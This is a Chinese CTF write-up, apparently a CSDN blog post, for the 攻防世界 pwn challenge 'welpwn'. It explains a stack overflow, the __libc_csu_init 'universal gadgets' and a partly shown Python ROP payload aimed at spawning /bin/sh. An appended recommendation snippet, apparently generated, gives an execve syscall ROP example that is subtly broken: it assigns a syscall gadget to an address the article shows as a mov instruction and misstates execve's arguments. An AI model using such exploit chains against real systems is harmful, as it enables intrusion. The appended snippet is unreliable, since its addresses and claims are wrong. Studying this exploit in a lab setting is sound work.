深入探究64位rop链构造,wp中常见的万能gadgets详解| 攻防世界pwn进阶区welpwn

前言

这一题做的时间跨度比较长了,断断续续做了一天多,然后尝试了两种方式,一种是DynELF泄露system地址,还有一种是利用python的LibcSearcher模块得到libc偏移再进一步获取system的libc地址。

思路分析

0x00.检查保护机制

在这里插入图片描述
感觉是栈溢出然后构造ROP来getshell。

0x01.找到溢出点

在这里插入图片描述
在这里插入图片描述
read函数是不能溢出的,进echo函数查看,发现echo函数开辟的大小只有0x20,但是buf可以写入的有0x400字节,buf复制到echo,显然可以发生溢出。
利用cyclic计算得出溢出需要24字节。

0x02.跳过echo在buf上构造rop

我们可以发现在echo函数内部,有一个循环判断,a1[i]!=’\x00’,否则会发生截断。但是构造rop需要传递地址,一般都会有’\x00’存在,故不能直接构造rop。
在这里插入图片描述
在这里插入图片描述

ida查看echo函数的结束地址之后就是read(&buf)的地址。
又因为echo开辟的空间是0x20,故echo开始处跳0x20个字节即能到buf处。
buf上有0x400大小可以布置ROP。
一次rop是8字节,找一个gadget执行四次pop即可。

0x03.选择合适的gadgets

在这里插入图片描述

pop4_addr=0x40089c

0x04.万能的通用gadgets

剩下的ROP链可以用通用gadgets来实现。
这里涉及到X64下面的一些万能gadgets,原因在于__libc_csu_init()函数。
一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

汇编代码如下:

  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)

我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

call system("/bin/sh")

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) 
  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ROP(Return-oriented Programming)是一种攻击技术,它利用程序的已有代码(即gadget)来构造攻击。在构造syscall调用execve的ROP时,我们需要找到一些适合我们需要的gadget,以及一个能够满足我们需求的内存域来存储我们的ROP。 以下是一个构造syscall调用execve的ROP的示例: ``` ; pop rax ; ret gadget pop_rax_ret: 0x000000000040089c ; pop rdi ; ret gadget pop_rdi_ret: 0x000000000040089e ; pop rsi ; ret gadget pop_rsi_ret: 0x00000000004008a0 ; pop rdx ; ret gadget pop_rdx_ret: 0x00000000004008a2 ; syscall gadget syscall: 0x00000000004005f6 ; address of "/bin/sh" string bin_sh: db '/bin/sh',0 rop: ; set rax to 0x3b (execve syscall number) pop rax ; ret 0x000000000040089c 0x3b ; set rdi to the address of "/bin/sh" string pop rdi ; ret 0x000000000040089e bin_sh ; set rsi to 0 pop rsi ; ret 0x00000000004008a0 0x0 ; set rdx to 0 pop rdx ; ret 0x00000000004008a2 0x0 ; syscall syscall ``` 在这个例子,我们使用了以下gadgets: - pop rax ; ret:弹出顶元素到rax寄存器; - pop rdi ; ret:弹出顶元素到rdi寄存器; - pop rsi ; ret:弹出顶元素到rsi寄存器; - pop rdx ; ret:弹出顶元素到rdx寄存器; - syscall:执行系统调用。 我们的ROP的第一步是将rax寄存器设置为execve系统调用的编号(0x3b)。接下来,我们将/bin/sh字符串的地址传递给rdi寄存器。然后,我们将rsi和rdx寄存器都设置为0,因为execve系统调用不需要任何参数。最后,我们使用syscall gadget来执行系统调用。 请注意,我们需要在内存准备/bin/sh字符串,因为execve系统调用需要它。在这个例子,我们将/bin/sh字符串存储在名为bin_sh的标签。在实际攻击,这个字符串可以存储在任何我们可以访问的内存

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值